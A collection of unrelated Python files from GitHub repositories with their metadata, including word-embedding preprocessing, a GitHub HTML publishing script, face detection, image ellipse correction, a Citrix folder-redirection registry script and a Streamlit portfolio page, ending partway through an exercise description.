\\\n \"COND=\"+str(cond_ind+1), \\\n \"SCALE=\"+str(scale), \\\n \"SOURCEDIR=\"+src_model_folder, \\\n \"BUILDDIR=\"+os.path.join(src_model_folder, \"build\"), \\\n \"VOCAB_FILE=\"+vocab_fn, \\\n \"VOCAB_MIN_COUNT=1\", \\\n \"VERBOSE=2\", \\\n \"WINDOW_SIZE=\"+str(window_size)]\n new_lines = [\"\\n\".join(commands), \"\\n\"] + lines[len(commands):]\n with open(command_fn, \"w\") as fout:\n fout.write(\"\".join(new_lines))\n os.system(\"chmod 777 \"+command_fn)\n os.system(\"./\"+command_fn)\n\n\ndef shufCooccur(cooccur_folder):\n command_fn = \"run_cooccur_shuf.sh\"\n cooccur_fn = os.path.join(cooccur_folder, \"cooccur.bin\")\n cooccur_shuf_fn = os.path.join(cooccur_folder, \"cooccur_shuf.bin\")\n commands = [\"COOCCURRENCE_FILE=\"+str(cooccur_fn), \\\n \"COOCCURRENCE_SHUF_FILE=\"+str(cooccur_shuf_fn), \\\n \"SOURCEDIR=\"+src_model_folder, \\\n \"BUILDDIR=\"+os.path.join(src_model_folder, \"build\"), \\\n \"VERBOSE=2\", \"MEMORY=4.0\", \\\n \"gcc $SOURCEDIR/shuffle.c -o $BUILDDIR/shuffle -lm -pthread \"+ \\\n \"-ffast-math -march=native -funroll-loops -Wno-unused-result\", \\\n \"$BUILDDIR/shuffle -memory $MEMORY -verbose $VERBOSE \"+ \\\n \"< $COOCCURRENCE_FILE > $COOCCURRENCE_SHUF_FILE\"]\n with open(command_fn, \"w\") as fout:\n fout.write(\"\\n\".join(commands))\n os.system(\"chmod 777 \"+command_fn)\n os.system(\"./\"+command_fn)\n \n \nif __name__==\"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--cond_data_folder\", required=True, default=None, type=str)\n parser.add_argument(\"--vocab_data_folder\", required=True, default=None, type=str)\n parser.add_argument(\"--cooccur_folder\", required=True, default=None, type=str)\n parser.add_argument(\"--data_type\", required=True, default=None, type=str)\n parser.add_argument(\"--window_size\", default=5, type=int)\n args = parser.parse_args()\n\n if args.data_type.lower() == \"nyt\":\n cond_list = time_list\n elif args.data_type.lower() == \"ice\":\n cond_list = region_list\n elif args.data_type.lower() == \"eu\":\n cond_list = domain_list\n else:\n print(\"Error: unknown data_type {}\".format(args.data_type))\n\n if not os.path.isdir(args.cooccur_folder):\n os.makedirs(args.cooccur_folder)\n \n countCooccur(args.cond_data_folder,\n args.vocab_data_folder,\n args.cooccur_folder,\n cond_list,\n args.window_size)\n\n shufCooccur(args.cooccur_folder)\n","repo_name":"HongyuGong/EnrichedWordRepresentation","sub_path":"src/preprocess/cooccur_util.py","file_name":"cooccur_util.py","file_ext":"py","file_size_in_byte":4038,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"2934691558","text":"from datetime import datetime # date library\r\nfrom github import Github # library for interacting with Github API\r\nfrom github import InputGitTreeElement # library for interacting with Github API\r\nfrom airium import Airium # library for generating and generating html pages\r\n\r\nweek_days = [\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"]\r\nweek_prog = {week_days[0]:[0,{}],week_days[1]:[1,{}],week_days[2]:[0,{}],week_days[3]:[0,{}],week_days[4]:[0,{}],week_days[5]:[0,{}],week_days[6]:[0,{}]}\r\ntoken = \"\"\r\ndef store_token():\r\n global token\r\n token = input(\"Enter Your API Token:\\n\")\r\ndef pushhub(login):\r\n git = Github(login)\r\n repo = git.get_user().get_repo('watermaintain')\r\n file_list = ['index.html']#C://Users//Administrator//Desktop//Project//\r\n file_names = ['index.html']\r\n commit_message = \"Schedule for {}\".format(datetime.now())\r\n master_ref = repo.get_git_ref('heads/main')\r\n master_sha = master_ref.object.sha\r\n base_tree = repo.get_git_tree(master_sha)\r\n element_list = list()\r\n for i, entry in enumerate(file_list):\r\n with open(entry) as input_file:\r\n data = input_file.read()\r\n element = InputGitTreeElement(file_names[i], '100644', 'blob', data)\r\n element_list.append(element)\r\n tree = repo.create_git_tree(element_list, base_tree)\r\n parent = repo.get_git_commit(master_sha)\r\n commit = repo.create_git_commit(commit_message, tree, [parent])\r\n master_ref.edit(commit.sha)\r\ndef writefile():\r\n html_page = Airium()\r\n html_page('')\r\n with html_page.html(lang=\"en\"):\r\n with html_page.head():\r\n html_page.meta(charset=\"utf-8\")\r\n html_page.link(href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css\",rel=\"stylesheet\",integrity=\"sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD\",crossorigin=\"anonymous\")\r\n html_page.script(src=\"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js\",integrity=\"sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN\",crossorigin=\"anonymous\")\r\n html_page.title(_t=\"Water Information Outlet\")\r\n with html_page.body():\r\n with html_page.h1(klass=\"d-flex p-2 justify-content-center\"):\r\n html_page(\"Water Information Outlet: {}\".format(datetime.now().date()))\r\n with html_page.div(klass=\"d-flex p-5\"):\r\n for day in week_days:\r\n print(week_prog.get(day))\r\n if week_prog.get(day)[0] == 1:\r\n with html_page.div(klass = \"d-flex p-2 justify-content-center alert alert-warning\"):\r\n html_page(\"{}
Outage due to maintenance\".format(day))\r\n if week_prog.get(day)[0] == 0:\r\n with html_page.div(klass = \"d-flex p-2 justify-content-center alert alert-primary\"):\r\n html_page(\"{}
\".format(day))\r\n for keypair in week_prog.get(day)[1]:\r\n html_page(\"Available from {} to {}
\".format(keypair,week_prog.get(day)[1].get(keypair)))\r\n \r\n html = str(html_page)\r\n with open('index.html', 'wb') as file_handle:\r\n file_handle.write(bytes(html, encoding='utf8'))\r\ndef setday(day):\r\n m_input = input(\"Is there maintenance? y for yes, n for no\\n\")\r\n if m_input == \"y\":\r\n week_prog[week_days[day-1]][0] = 1\r\n else:\r\n week_prog[week_days[day-1]][0] = 0\r\n print(\"Enter Hours:\")\r\n print(\"Proper format: 10 15 (10AM to 3PM)\")\r\n print(\"You can Exit by entering 0\")\r\n while True:\r\n from_h = int(input(\"From:\"))\r\n if from_h <= 0:\r\n break\r\n elif from_h > 24 or from_h < 0:\r\n print(\"INVALID INPUT - Can't Enter more than 24 or less than 0\")\r\n break\r\n to_h = int(input(\"To:\"))\r\n if to_h <= 0:\r\n break\r\n elif to_h > 24 or to_h < 0:\r\n print(\"INVALID INPUT - Can't Enter more than 24 or less than 0\")\r\n break\r\n elif to_h >= from_h:\r\n print(\"INVALID INPUT - To should be more than From\")\r\n week_prog[week_days[day-1]][1][from_h] = to_h\r\ndef selectday():\r\n print(\"1.Sunday\")\r\n print(\"2.Monday\")\r\n print(\"3.Tuesday\")\r\n print(\"4.Wednesday\")\r\n print(\"5.Thursday\")\r\n print(\"6.Friday\")\r\n print(\"7.Sturday\")\r\n u_input = input()\r\n if u_input == \"1\":\r\n setday(int(u_input))\r\n elif u_input == \"2\":\r\n setday(int(u_input))\r\n elif u_input == \"3\":\r\n setday(int(u_input))\r\n elif u_input == \"4\":\r\n setday(int(u_input))\r\n elif u_input == \"5\":\r\n setday(int(u_input))\r\n elif u_input == \"6\":\r\n setday(int(u_input))\r\n elif u_input == \"7\":\r\n setday(int(u_input))\r\ndef menu():\r\n while True:\r\n for i in week_prog:\r\n print(i)\r\n print(week_prog.get(i)[1])\r\n print(\"List of Available Commands:\")\r\n print(\"1.Set Maintenance Date and Hours\")\r\n print(\"2.Generate HTML file\")\r\n print(\"3.Push HTML file to server\")\r\n print(\"4.Exit\")\r\n R = input()\r\n if R == \"1\":\r\n selectday()\r\n while(True):\r\n u_input = input(\"Do you want to enter another date? y for yes, n for no\\n\")\r\n if u_input == \"y\":\r\n selectday()\r\n else:\r\n break\r\n elif R == \"2\":\r\n writefile()\r\n elif R == \"3\":\r\n pushhub(token)\r\n elif R == \"4\":\r\n return 0\r\nstore_token()\r\nmenu()","repo_name":"ReemHamza/watermaintain","sub_path":"Reem.py","file_name":"Reem.py","file_ext":"py","file_size_in_byte":5812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11383188012","text":"import unittest\nimport tempfile\nimport json\nimport numpy as np\nimport pandas as pd\n\nfrom supervised.models.learner_xgboost import additional\n\n\nfrom numpy.testing import assert_almost_equal\nfrom sklearn import datasets\n\nfrom supervised.iterative_learner_framework import IterativeLearner\nfrom supervised.callbacks.early_stopping import EarlyStopping\nfrom supervised.callbacks.metric_logger import MetricLogger\nfrom supervised.callbacks.max_iters_constraint import MaxItersConstraint\nfrom supervised.metric import Metric\n\n\nclass MaxItersConstraintTest(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.X, cls.y = datasets.make_classification(\n n_samples=200,\n n_features=5,\n n_informative=5,\n n_redundant=0,\n n_classes=2,\n n_clusters_per_class=1,\n n_repeated=0,\n shuffle=False,\n random_state=0,\n )\n cls.data = {\n \"train\": {\n \"X\": pd.DataFrame(cls.X, columns=[\"f0\", \"f1\", \"f2\", \"f3\", \"f4\"]),\n \"y\": pd.DataFrame(cls.y),\n }\n }\n\n cls.kfolds = 3\n cls.train_params = {\n \"preprocessing\": {},\n \"validation\": {\"validation_type\": \"kfold\", \"kfold\": cls.kfolds},\n \"learner\": {\n \"learner_type\": \"Xgboost\",\n \"objective\": \"binary:logistic\",\n \"eval_metric\": \"logloss\",\n \"eta\": 0.01,\n \"silent\": 1,\n \"max_depth\": 1,\n \"seed\": 1,\n },\n }\n\n def test_fit_and_predict(self):\n MAX_STEPS = 100\n additional[\"max_steps\"] = MAX_STEPS\n iters_cnt = 5\n max_iters = MaxItersConstraint({\"max_iters\": iters_cnt})\n metric_logger = MetricLogger({\"metric_names\": [\"logloss\"]})\n il = IterativeLearner(self.train_params, callbacks=[max_iters, metric_logger])\n il.train(self.data)\n metric_logs = il.get_metric_logs()\n for k in range(self.kfolds):\n self.assertEqual(\n len(metric_logs[il.learners[k].uid][\"train\"][\"logloss\"]), iters_cnt\n )\n self.assertNotEqual(\n len(metric_logs[il.learners[k].uid][\"train\"][\"logloss\"]), MAX_STEPS\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"kingmbc/mljar-supervised","sub_path":"tests/tests_callbacks/test_max_iters_constraint.py","file_name":"test_max_iters_constraint.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"2043556574","text":"# 確認資料夾用\nimport os\n# 調用修改Regedit\nimport win32api\nimport win32con\n\n# 視窗大小設定\nos.system('mode con: cols=30 lines=10')\n\n# 輸入設定工號資料夾\nNum = input(\"請輸入您的工號: \")\nNumFolder = \"N:/U/\" + Num\nprint()# 空格讓版型好看\n\n# 讀取註冊檔\nreg = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders', 0, win32con.KEY_ALL_ACCESS)\nreg2 = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders', 0, win32con.KEY_ALL_ACCESS)\n\n# 修改登入檔副程式\ndef set_reg(reg, reg_name, reg_type, reg_value):\n \"\"\"\n 作用: 設定註冊檔\n 參數0: 註冊檔\n 參數1: 設置項的名字\n 參數2: 設置項的類型\n 參數3: 設置項值\n \"\"\"\n win32api.RegSetValueEx(reg, reg_name, 0, reg_type, reg_value)\n\n# 設定註冊檔\n# set_reg(reg, \"UpdateDefault\", win32con.REG_DWORD, 0)\n# set_reg(reg, \"Python\", win32con.REG_SZ, \"測試\")\n\n\n# 確認資料夾是否正確後運行\nif os.path.exists(NumFolder):\n print(\"資料夾存在，進行修改動作。\")\n print()# 空格讓版型好看\n\n # 建立轉移資料夾目錄\n if not os.path.isdir(NumFolder + \"/Citrix Profile\"):\n os.mkdir(NumFolder + \"/Citrix Profile\")\n if not os.path.isdir(NumFolder + \"/Citrix Profile/Downloads\"):\n os.mkdir(NumFolder + \"/Citrix Profile/Downloads\")\n if not os.path.isdir(NumFolder + \"/Citrix Profile/Music\"):\n os.mkdir(NumFolder + \"/Citrix Profile/Music\")\n if not os.path.isdir(NumFolder + \"/Citrix Profile/Pictures\"):\n os.mkdir(NumFolder + \"/Citrix Profile/Pictures\")\n if not os.path.isdir(NumFolder + \"/Citrix Profile/Videos\"):\n os.mkdir(NumFolder + \"/Citrix Profile/Videos\")\n if not os.path.isdir(NumFolder + \"/Citrix Profile/Documents\"):\n os.mkdir(NumFolder + \"/Citrix Profile/Documents\")\n \n # 調用副程式\n set_reg(reg, \"{374DE290-123F-4565-9164-39C4925E467B}\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Downloads\")\n set_reg(reg, \"My Music\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Music\")\n set_reg(reg, \"My Pictures\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Pictures\")\n set_reg(reg, \"My Video\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Videos\")\n set_reg(reg, \"Personal\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Documents\")\n\n set_reg(reg2, \"{0DDD015D-B06C-45D5-8C4C-F59713854639}\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Pictures\")\n set_reg(reg2, \"{35286A68-3C57-41A1-BBB1-0EAE73D76C95}\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Videos\")\n set_reg(reg2, \"{374DE290-123F-4565-9164-39C4925E467B}\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Downloads\")\n set_reg(reg2, \"{7D83EE9B-2244-4E70-B1F5-5393042AF1E4}\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Downloads\")\n set_reg(reg2, \"{A0C69A99-21C8-4671-8703-7934162FCF1D}\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Music\")\n set_reg(reg2, \"{F42EE2D3-909F-4907-8871-4C22FC0BF756}\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Documents\")\n set_reg(reg2, \"My Music\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Music\")\n set_reg(reg2, \"My Pictures\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Pictures\")\n set_reg(reg2, \"My Video\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Videos\")\n set_reg(reg2, \"Personal\", win32con.REG_SZ, \"N:\\\\U\\\\\" + Num + \"\\\\Citrix Profile\\\\Documents\")\n os.system('pause')\nelse:\n print(\"資料夾不存在，請確認輸入是否正確。\")\n print()# 空格讓版型好看\n os.system('pause')","repo_name":"zz22558822/Python_Folder_Transfer","sub_path":"Citrix 個人資料轉移N槽 v3.py","file_name":"Citrix 個人資料轉移N槽 v3.py","file_ext":"py","file_size_in_byte":3749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5595782191","text":"#! /usr/bin/python3\n\nimport ellipses as el\n\nfrom matplotlib.patches import Ellipse\nimport IPython.display\nfrom PIL import Image\nfrom optparse import OptionParser\nimport re\n\n\nparser = OptionParser()\n\nparser.add_option(\"-f\", \"--file\", dest=\"input_filepath\",\n help=\"Location of image to be corrected\", metavar=\"INPUT_FILEPATH\")\n\nparser.add_option(\"-p\", \"--points\", dest=\"points\",\n help=\"Locations of points defined on ellipse. Specified as '(x,y), ...'\", metavar=\"points\")\n\nparser.add_option(\"-o\", \"--output\", dest=\"output_filepath\",\n help=\"Location of new image after correction\", metavar=\"output_filepath\")\n\nparser.add_option(\"-d\", \"--display\", action=\"store_true\", dest=\"display\")\n\n\n\n\n(options, args) = parser.parse_args()\n\n\n\nif options.input_filepath:\n\ttry:\n\t\tImage.open(options.input_filepath)\n\texcept:\n\t\tprint(\"Error opening image\")\n\t\texit()\n\n\n\n\nextract_pairs = lambda text : [pair.group(0) for pair in re.finditer(r\"\\(-?[0-9]*\\.?[0-9]*\\,-?[0-9]*\\.?[0-9]*\\)\", \"\".join(text.split()))]\nnum_pairs = lambda extracted : [[float(n) for n in re.sub('[()]','', p).split(',')] for p in extracted]\nstring_to_list = lambda s : num_pairs(extract_pairs(s))\n\n\n\nif options.points:\n\tpoint = string_to_list(options.points)\nelse:\n\tprint(\"Points must be specified with -p\")\n\texit()\n\n\n# unzip the points\nx = [d[0] for d in point]\ny = [d[1] for d in point]\ndata_unzipped = [x, y]\n\n# fit ellipse\nimport numpy as np\nlsqe = el.LSqEllipse()\ntry:\n\tlsqe.fit(data_unzipped)\nexcept:\n\tprint(\"Error fitting ellipse\\n You probably need to define more/better points\")\n\texit()\nprint(\"Ellipse fitted\")\n\n# get output\ncenter, width, height, phi = lsqe.parameters()\nangle = np.rad2deg(phi);\nmajor_axis = max(width,height)*2;\nminor_axis = min(width,height)*2;\nmajor_factor = major_axis/minor_axis\nminor_factor = minor_axis/major_axis\n\n# display output\nprint(\"angle: {0:.5f} degrees\".format(angle))\nprint(\"minor axis: {0:.5f} ({0:.5f}% of major)\".format(minor_axis, minor_factor*100))\nprint(\"major axis: {0:.5f} ({0:.5f}% of minor)\".format(major_axis, major_factor*100))\n\n# display results before transform\ndef plot_curve(image_path):\n\t# set up plot\n\timport matplotlib.pyplot as plt\n\tfig = plt.figure(figsize=(6,6))\n\tax = fig.add_subplot(111)\n\tax.axis('equal')\n\t# make pyplot ellipse\n\tellipse = Ellipse(xy=center,\n\t\t\t\t\t width=2*width,\n\t\t\t\t\t height=2*height,\n\t\t\t\t\t angle=np.rad2deg(phi),\n\t\t\t\t\t edgecolor='red',\n\t\t\t\t\t fc='None',\n\t\t\t\t\t lw=2,\n\t\t\t\t\t zorder=1)\n\tax.add_patch(ellipse)\n\t# display points\n\tax.plot(x, y, 'bo', zorder=1)\n\t# display image\n\tplt.imshow(Image.open(image_path))\n\t# display\n\tplt.show()\n\nif options.display:\n\tplot_curve(options.input_filepath)\n\n\nif options.output_filepath:\n\ti = Image.open(options.input_filepath)\n\twidth_factor = 1\n\theight_factor = major_axis/minor_axis;\n\n\tresample = Image.BICUBIC\n\tresample_rotate = resample\n\tresample_unrotate = resample\n\tdef unfuck_ellipse(i, angle=0, width_factor=1, height_factor=1, resample=Image.BICUBIC):\n\t i = i.rotate(angle, expand=True, resample=resample)\n\t i = i.resize((int(i.width*width_factor), int(i.height*height_factor)))\n\t i = i.rotate(-angle, expand=True, resample=resample)\n\t return i\n\n\tcorrected = unfuck_ellipse(i, angle, 1, minor_factor)\n\tprint(\"Correction applied\")\n\n\ttry:\n\t\tcorrected.save(options.output_filepath)\n\texcept:\n\t\tprint(\"Error saving corrected image\")\n\t\texit();\n\tprint(\"New image saved to {}\".format(options.output_filepath))\n","repo_name":"100gamma/Gatekeyper","sub_path":"normalize_ellipse/normalize.py","file_name":"normalize.py","file_ext":"py","file_size_in_byte":3446,"program_lang":"python","lang":"en","doc_type":"code","stars":165,"dataset":"github-code","pt":"47"} +{"seq_id":"23599806934","text":"import cv2 as cv\nimport mediapipe as mp\nimport time\n\n\nclass face_detector:\n def __init__(self, detectionConf=0.5, selection=0):\n self.detection_conf = detectionConf\n self.model_selection = selection\n\n self.mpFaces = mp.solutions.face_detection\n self.face_detect = self.mpFaces.FaceDetection()\n self.mpDraw = mp.solutions.drawing_utils\n\n self.mpDraw = mp.solutions.drawing_utils\n self.mpFaceMesh = mp.solutions.face_mesh\n self.face_m = self.mpFaceMesh.FaceMesh(max_num_faces=2)\n\n def find_face(self, img, draw_default=False):\n\n imgRGB = cv.cvtColor(img, cv.COLOR_BGR2RGB)\n self.results = self.face_detect.process(imgRGB)\n if self.results.detections:\n for detect in enumerate(self.results.detections):\n if draw_default:\n self.mpDraw.draw_detection(img, detect)\n\n return img\n\n def find_landmarks(self, img):\n\n list_1 = []\n list_2 = []\n\n if self.results.detections:\n for iD, detection in enumerate(self.results.detections):\n # print(iD, detection)\n keyPoints = detection.location_data.relative_keypoints\n boundingBox = detection.location_data.relative_bounding_box\n # print(iD, keyPoints)\n h, w, c = img.shape\n b_box = int(boundingBox.xmin * w), int(boundingBox.ymin * h), int(boundingBox.width * w), int(\n boundingBox.height * h)\n list_1.append([id, b_box])\n\n for iD, lm in enumerate(keyPoints):\n cx, cy = int(lm.x * w), int(lm.y * h)\n list_2.append([iD, cx, cy])\n\n cv.putText(img, f'{int(detection.score[0] * 100)}', (b_box[0], b_box[1] - 20), cv.FONT_ITALIC, 1,\n (0, 0, 255), 2)\n cv.rectangle(img, b_box, (0, 0, 255), 2)\n\n return img, list_1, list_2\n\n def face_mesh(self, img, draw=False):\n\n imgRGB = cv.cvtColor(img, cv.COLOR_BGR2RGB)\n drawSpec = self.mpDraw.DrawingSpec((0, 255, 255), 1, 1)\n [cx, cy] = 0, 0\n\n results = self.face_m.process(imgRGB)\n if results.multi_face_landmarks:\n # print(results.multi_face_landmarks)\n for faceLms in results.multi_face_landmarks:\n if draw:\n self.mpDraw.draw_landmarks(img, faceLms, self.mpFaceMesh.FACEMESH_CONTOURS, drawSpec, drawSpec)\n for id, lm in enumerate(faceLms.landmark):\n # print([lm.x, lm.y])\n h, w, c = img.shape\n [cx, cy] = int(lm.x * w), int(lm.y * h)\n # print([id, cx, cy])\n return img, [cx, cy]\n\n\ndef main():\n pTime = 0\n\n capture = cv.VideoCapture(0)\n detector = face_detector()\n\n while True:\n success, img = capture.read()\n\n frame = detector.find_face(img)\n frame, boundary_box, landmarks = detector.find_landmarks(frame)\n frame, _ = detector.face_mesh(frame, draw=True)\n\n # print(landmarks)\n\n cTime = time.time()\n fps = 1 / (cTime - pTime)\n pTime = cTime\n\n cv.putText(frame, str(int(fps)), (20, 80), cv.FONT_ITALIC, 2, (255, 255, 255), 2)\n cv.imshow(\"Frames\", frame)\n cv.waitKey(1)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"muthu2003/IP-OD-Projects","sub_path":"FaceDetectionModule.py","file_name":"FaceDetectionModule.py","file_ext":"py","file_size_in_byte":3369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10794774784","text":"import requests\nimport streamlit as st\nfrom streamlit_lottie import st_lottie\nfrom PIL import Image\nimport io\nimport base64\n\nst.set_page_config(\n page_title=\"Fikz Portofolio\",\n page_icon=\"🏠\",\n layout=\"wide\"\n)\n\n\ndef load_lottieurl(url):\n r = requests.get(url)\n if r.status_code != 200:\n return None\n return r.json()\n\n\n# Use local CSS\ndef local_css(file_name):\n with open(file_name) as f:\n st.markdown(f\"\", unsafe_allow_html=True)\n\ndef resize_image(input_image_path, size):\n original_image = Image.open(input_image_path)\n width, height = original_image.size\n aspect_ratio = width/height\n new_height = size\n new_width = int(new_height * aspect_ratio)\n resized_image = original_image.resize((new_width, new_height))\n return resized_image\n\nlocal_css(\"style/style.css\")\n\nlottie_coding = load_lottieurl(\"https://lottie.host/dbb6192e-e1c3-41ab-b02a-169e62282534/Z3wKX5HScH.json\")\n\n# ---- HEADER SECTION ----\nwith st.container():\n col1, col2, col3 = st.columns(3)\n with col1:\n st.markdown('

Hi, I am Fikri 👋

', unsafe_allow_html=True)\n st.markdown('

A Data Enthusiast

', unsafe_allow_html=True)\n st.markdown(\"\"\"\n

\n Dedicated and results-driven Data Analyst with a strong background in campus laboratory assistance, comprehensive data analyst training, \n and impactful internship experiences. Armed with a keen eye for detail and a deep appreciation for the power of data, I am adept at harnessing \n various analytical tools, including Python, Tableau, Google Spreadsheet, MS Excel, and SQL, to transform complex datasets into actionable insights. \n My journey from hands-on laboratory work to rigorous training programs has honed my ability to identify patterns, solve problems, and communicate findings effectively. \n I thrive on translating data into tangible solutions, and I am excited to contribute my skills to unlocking new opportunities and driving informed decision-making.\n\n Key Proficiencies: Data Analysis | Python | Tableau | Google Spreadsheet | MS Excel | SQL\n\n Let's connect and explore how I can bring my analytical expertise to help your team excel. \n

\n \"\"\", unsafe_allow_html=True)\n st.markdown('

Done forget to check the sidebar > for my portofolio

', unsafe_allow_html=True)\n with col2:\n st.title(\" \")\n with col3:\n st.title(\" \")\n st.title(\" \")\n st.title(\" \")\n st.title(\" \")\n resized_image = resize_image(\"images//foto.png\", 300)\n st.image(resized_image)\n\n\n\nwith st.container():\n st.write(\"---\")\n left_column, center_column, right_column = st.columns(3)\n with left_column:\n st.header(\"Work Experience\")\n st.markdown('

Data Analyst Intern - Campaign.com | Jakarta, Indonesia | May 2022 - September 2022

', unsafe_allow_html=True)\n st.markdown(\"\"\"\n
    \n
  • Collecting app traffic data from Google Firebase, Google Play Console, and App Store Connect
    • \n
  • Clean data from duplicate value (users, install dates, etc)
    • \n
  • Analyzing data using Ms. Excel, and Spreadsheets
    • \n
  • Creating data visualization using Google Slides and Google Data Studio
    • \n
  • Create data analytical report
    • \n
  • Present the report to other team that related to data team
    • \n
\n \"\"\", unsafe_allow_html=True)\n\n st.markdown('

Data Analyst Trainee - Brainnest | Bremen,Germany (Remote) | June 2022 - July 2022

', unsafe_allow_html=True)\n st.markdown(\"\"\"\n
    \n
  • Data gathering using Survey Monkey
    • \n
  • Create graphs and data related tables using SPSS
    • \n
  • Calculate correlation between data with SPSS
    • \n
  • Learn basic data gathering using SQL
    • \n
  • Create data analytical report using real data
    • \n
\n \"\"\", unsafe_allow_html=True)\n\n with right_column:\n st.title(\" \")\n st.title(\" \")\n st_lottie(lottie_coding, height=500, key=\"coding\")\n \n\n\nwith st.container():\n st.write(\"---\")\n left_column, center_column, right_column = st.columns(3)\n with left_column:\n st.header(\"Education\")\n st.markdown('

Telkom University

', unsafe_allow_html=True)\n st.markdown('

Bachelor Degree in Computer Engineering, GPA = 3.72

', unsafe_allow_html=True)\n with center_column:\n st.title(\" \")\n with right_column:\n image = Image.open(\"images//logotelu.png\")\n resized_image = image.resize((160,160))\n buffered = io.BytesIO()\n resized_image.save(buffered, format=\"PNG\")\n img_str = base64.b64encode(buffered.getvalue()).decode()\n st.markdown(f'', unsafe_allow_html=True)\n\nst.write(\"---\")\nst.markdown('

Find Out More

', unsafe_allow_html=True)\nst.write(\"[LinkedIn >](https://www.linkedin.com/in/fikri-putra-hidayat-341625224/)\")\nst.write(\"[Github >](https://github.com/ApolloFikz13)\")\nst.write(\"[Resume >](https://drive.google.com/file/d/1NFSAN0CN-y_JX_eALg28mczja9e6qoJD/view?usp=sharing)\")\nst.write(\"#\")\nst.markdown('

Done forget to check the sidebar > for my portofolio

', unsafe_allow_html=True)\n","repo_name":"ApolloFikz13/portofolio-streamlit","sub_path":"Home.py","file_name":"Home.py","file_ext":"py","file_size_in_byte":5687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40499024467","text":"# 2023-04-05\n# 프로그래머스 고득점 kit - 완전탐색\n# https://school.programmers.co.kr/learn/courses/30/lessons/87946\n# 소요 시간 : 19:10\n\nfrom itertools import permutations\n\n\ndef solution(k, dungeons):\n answer = -1\n\n originK = k\n\n for cases in list(permutations(dungeons, len(dungeons))):\n count = 0\n for dungeon in cases:\n if k >= dungeon[0]:\n count += 1\n k -= dungeon[1]\n k = originK\n answer = max(count, answer)\n return answer\n\n\nprint(solution(80, [[80, 20], [50, 40], [30, 10]]))\n","repo_name":"cheonyeji/algorithm_study","sub_path":"프로그래머스/고득점kit/완전탐색/피로도(2).py","file_name":"피로도(2).py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36312703890","text":"\"\"\"\nA program for managing a small phone book.\n message_list = []\n while True:\n input_message = input()\n if input_message == \"\":\n break\n message_list.append(input_message)\n return message_list\n\n\n\n\nImplement a word density calculator that reads a piece of text from the user\nand then prints how many times each of the words appears in the text, as in this example run:\n\nEnteEnter rows of text for word counting. Empty row to quit.\nI'm on a high way to hell\nI'm on a high way to hell\nIt's going really well\nWell it's only hell\n\n\na : 2 times\ngoing : 1 times\nhell : 3 times\nhigh : 2 times\ni'm : 2 times\nit's : 2 times\non : 2 times\nonly : 1 times\nreally : 1 times\nto : 2 times\nway : 2 times\nwell : 2 times\nThe words in the list are printed in alphabetic order and all the letters are in lower-case.\nA string separated from other strings with empty characters is considered a word\n(separated from the text using a split method).\n\nProgramming tips:\n\nYou don't need to save the whole text entered by the user. It is enough that you go through every word entered by\nthe user and use a suitable data structure to count the occurences of every word showing up.\nThe data structure in question contains statistics of how the words show up. You need to save information on the word \"hell\" showing up three times and the word \"really\" one time.\nWhen the information on the statistics is processed (a new word is added or the number of times a word shows up is increased), the user always knows what word is in question.\nThus, you should save the statistics to dict, where the key is the word in question.\nIn addition to word, save the information on how many times it shows up. This is the value contained by the dict.\nThe operation in can be used to check if the word is in dict, ie. whether it has shown up in the text earlier.\nIf not, add a new word to dict. What is the number of the times the word shows up?\nEvery time it shows up after this, the value in dict increases by 